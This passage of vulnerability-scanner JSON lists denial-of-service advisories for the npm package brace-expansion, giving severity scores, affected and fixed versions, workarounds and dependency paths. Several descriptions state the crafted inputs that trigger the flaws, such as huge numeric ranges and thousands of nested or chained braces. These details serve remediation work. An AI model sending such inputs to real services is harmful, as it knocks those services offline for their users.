"cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, 